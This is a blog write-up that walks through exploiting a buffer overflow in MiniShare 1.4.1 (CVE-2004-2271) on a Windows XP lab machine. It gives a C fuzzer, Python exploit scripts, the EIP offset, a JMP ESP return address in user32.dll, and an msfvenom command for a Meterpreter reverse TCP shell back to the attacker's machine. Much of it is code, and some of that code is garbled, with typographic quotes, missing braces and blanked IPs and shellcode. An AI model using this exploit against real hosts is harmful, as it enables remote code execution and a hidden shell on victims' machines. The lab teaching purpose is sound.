Buffer overflow is one of the most interesting concepts that I know.

In this write-up, I will exploit the buffer overflow in MiniShare application.

I will attach the process to a debugger, trigger buffer overflow, analyze the application and will develop an exploit code in the process.

Lab Setup

  1. Windows XP SP1 en
  2. Immunity Debugger installed on WinXP with Mona script.
    1. You can download Immunity Debugger from
    2. You can download Mona script from
  3. Kali Linux
  4. Minishare 1.4.1 installed on WinXP
    1. You can download it from
  5. Attacking Machine (Kali) IP:
  6. Victim (WinXP) IP:

Configuring Minishare

Once you install Minishare on WinXP machine, open the application.

As soon as the application is opened, the machine starts listening on port 80.



Attaching Minishare to Debugger

Once you run the Minishare application, open immunity debugger. We will use immunity debugger to analyze the state of the stack and value of registers like EIP (instruction pointer), ESP (stack pointer).

Using debugger, we will also be able to analyze what happens when the application runs or crashes.

As shown below, we have attached Minishare process in the debugger. As soon as the process is attached, the debugger takes over the control of the program execution and the process is paused. You can press F9 to resume program execution.


Fuzzing the Application

Minishare 1.4.1 is vulnerable to buffer overflow. The CVE associated with it is CVE-2004-2271. It states that:

Buffer overflow in MiniShare 1.4.1 and earlier allows remote attackers to execute arbitrary code via a long HTTP GET request.

As it is vulnerable to long HTTP GET request, it means that we can trigger the vulnerability by sending a GET request like this:

GET <long string of characters> HTTP/1.1 <new line><carriage return><new line><carriage return>

which would eventually be something like this:

GET AAAAA… HTTP/1.1\r\n\r\n

So, now we know how to trigger the vulnerability, we will fuzz the application and watch for crashes to find out how many bytes are needed to crash the application.

We will use the following C code to fuzz the web server. The code will generate GET requests in which the URL will grow with each subsequent request.


#include <stdio.h>
#include <stdlib.h>
#include <sys/socket.h>
#include <netinet/in.h>
//maximum length to grow our url
#define MAX_NAME_LEN 2048
//max strlen of a valid IP address + null
#define MAX_IP_LEN 16
//static HTTP protocol content into which we insert fuzz string
char request[] = “GET %*s HTTP/1.1\r\nHost: %s\r\n\r\n”;
int main(int argc, char **argv)
        //buffer to build our long request
                char buf[MAX_NAME_LEN + sizeof(request) + MAX_IP_LEN];
        //server address structure
        struct sockaddr_in server;
        int sock, len, req_len;
        if (argc != 2) { //require IP address on the command line
                fprintf(stderr, “Missing server IP address\n”);
        memset(&server, 0, sizeof(server)); //clear the address info
        server.sin_family = AF_INET; //building an IPV4 address
        server.sin_port = htons(80); //connecting to port 80
        //convert the dotted IP in argv[1] into network representation
       if (inet_pton(AF_INET, argv[1], &server.sin_addr) <= 0) {
                fprintf(stderr, “Invalid server IP address: %s\n”, argv[1]);
        //This is the basic fuzzing loop. We loop, growing the url by
        //4 characters per pass until an error occurs or we reach MAX_NAME_LEN
        for (len = 1700; len < MAX_NAME_LEN; len += 8) {
                //first we need to connect to the server, create a socket…
                sock = socket(AF_INET, SOCK_STREAM, 0);
        if (sock == -1) {
                fprintf(stderr, “Could not create socket, quitting\n”);
        //and connect to port 80 on the web server
        if (connect(sock, (struct sockaddr*)&server, sizeof(server))) {
                fprintf(stderr, “Failed connect to %s, quitting\n”, argv[1]);
                exit(1); //terminate if we can’t connect
        //build the request string. Request really only reserves space for
        //the name field that we are fuzzing (using the * format specifier)
        req_len = snprintf(buf, sizeof(buf), request, len, “A”, argv[1]);
        //this actually copies the growing number of A’s into the request
        memset(buf + 4, ‘A’, len);
        //now send the request to the server
        send(sock, buf, req_len, 0);
        //try to read the server response, for simplicity’s sake let’s assume
        //that the remote side choked if no bytes are read or a recv error
        if (read(sock, buf, sizeof(buf), 0) <= 0) {
                fprintf(stderr, “Bad recv at len = %d\n”, len);
                break; //a recv error occurred, report it and stop looping
      return 0;

Compile and run the code.


In the background, we can use Wireshark to look how the GET requests are being sent to Minishare.

As shown in below screenshot, long GET request are sent to the web server with each request 8 bytes longer than the previous one.


Similarly, on the Windows XP machine, we can see the multiple connections between the attacker and victim’s machine.


At exact 1866 bytes of long URL, the Minishare application crashes as shown below.


Crafting the Exploit

Now we have the exact bytes which crashes the application, we can start with writing an exploit for it.

The following python exploit can be used to trigger the vulnerability.

import socket
print “Sending 1886 bytes long URL”
buffer =”GET “
buffer +=”\x41″ * 1886
buffer +=” HTTP/1.1\r\n\r\n”
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print “Sent!! Hope it crashes :)”

As I ran the exploit, it yielded the same result and crashed the application.


Attaching the process to debugger and running the exploit gives following information.


As shown, the program has crashed and EIP register has been overwritten with our input buffer of A’s. Also, ESP has also been overwritten with A’s.

EIP register holds a significant importance to us as the CPU decides which instruction to execute next by reading the value of the EIP register and executing the instruction that is located at that memory address. So, by controlling the EIP we can control the execution flow of the application.

So, the next step is to craft our exploit so that we can overwrite the EIP to our desired value to divert the flow to the shellcode which we will place later in the memory.

Controlling Execution Flow

We know that the EIP is overwritten with 4 A’s. Our next task is to find those 4 A’s which have overwritten EIP.

For this, we will use following ruby tools:

  1. pattern_create.rb
    1. Located at /usr/share/metasploit-framework/tools/exploit/pattern_create.rb
  2. pattern_offset.rb
    1. /usr/share/metasploit-framework/tools/exploit/pattern_offset.rb

Using pattern_create, we will create a unique string of 1886 characters and send it using the GET request. We will then identify the value written on EIP register, locate the value in our buffer and then calculate the offset.


We modify our exploit code to replace the A’s with unique string we generated.

The modified code is as shown.

import socket
print “Sending 1886 bytes long URL to ” + target_address + ” on port 80″
buffer =”GET “
buffer +=” HTTP/1.1\r\n\r\n”
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print “Sent”

As I ran the exploit again, the following value was overwritten on EIP and the program crashed.


EIP was overwritten with hex bytes 36 68 43 35 which is equivalent to string “6hC5” of 4 bytes.

To find the offset of this specific string in the unique string generated, we will use pattern_offset tool.


The offset found is 1787 which means those 4 specific bytes are located at 1787 of the 1886 bytes.

Let’s modify the buffer in our exploit code to check whether our calculations are correct.


Once this modified buffer is sent, the values in the buffer change as shown.


As we can see, EIP is written with 42 42 42 42 which is equivalent to BBBB string which confirms that our calculations were correct and now we can control the execution flow of the application.

Locating Shellcode Space

Now that we can control EIP with our desired value and control the execution flow, we have to locate space for our payload now.

In this case, as shown below, ESP register points to beginning of the buffer of C’s. So, it is a good location to place our shellcode.


However, if we look closely, as shown below, the number of C’s overwritten are 75. This number is not sufficient considering that the reverse shell payload which we will generate will be around 300-400 bytes.


To accommodate our desired payload, we need to find more space in the memory. One of the way is to send a larger buffer length in the exploit and check if the program crashes and if it results in larger space for our shellcode.

So, lets increase the shellcode length from 1886 bytes to 2200, which adds 409 extra C’s.


I ran the exploit again and the memory dump of ESP is shown below.


As you can see, the buffer size has increased and if you calculate it, 409 C’s have been overwritten which means we have 409 bytes of space available for our shellcode.

Finding Return Address

Our next step is to jump to the location of our buffer, i.e. the location which we have just identified.

As our buffer of “C” starts at ESP, we need to find way to redirect the flow to the start of ESP register.

This can be achieved if we can find a JMP ESP instruction and overwrite it on EIP.

We will use script to find JMP ESP instruction.

The following command can be used to list the modules in the memory.

!mona modules


I have chosen user32.dll OS module to look for JMP ESP instruction.

We can user Mona script again to find this instruction in the user32.dll module.

The following command can be used for it.

!mona find -s “\xff\xe4” -m user32.dll

“ffe4” is the opcode equivalent of JMP ESP instruction.


The below screenshot confirms that JMP ESP instruction is located at address “77DA2C48”.


We can confirm that whether we have found a valid return address by modifying the code as follows and placing a breakpoint at 0x77DA2C48.


Generating Shellcode

We have been successful in controlling the execution flow and have found to redirect the execution to our buffer of Cs. Now, to be able to get a shell, we will overwrite the buffer with our shellcode instead of Cs.

So, lets generate the shellcode with the help of msfvenom. I will make sure that the shellcode which is generated is free from usual bad characters ”\x00\x0a\x0d” which if not removed might make the shellcode unworkable.

The following command will generate reverser shell meterpreter payload for windows free from bad characters(\x00\x0a\x0d).

msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -b “\x00\x0a\x0d” -f c

Once the shellcode is generated, we will integrate it in our exploit code. The final exploit code will be as shown below.

import socket
#Shellcode size = 333 bytes
#Generated with “msfvenom -p windows/meterpreter/reverse_tcp LHOST= LPORT=443 -f c”
print “Sending exploit to ” + target_address + ” on port 80″
buffer =”GET “
buffer +=”A” * 1787 + “\x48\x2C\xDA\x77” + “\x90” * 20 + shellcode #JMP ESP at 0x77DA2C48 (user32.dll)
buffer +=” HTTP/1.1\r\n\r\n”
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
print “Sent”


Before exploiting the vulnerability, we will set up exploit handler on our Kali machine as shown below.


Once the listener is set, we will run the exploit.

Once the exploit runs successfully, it gives a reverse meterpreter shell.


Also, we can see on the victim’s WinXP machine that connection to our Kali machine is established on port 443.


3 Replies to “Exploiting Buffer Overflow Minishare 1.4.1”

Leave a Reply

Your email address will not be published.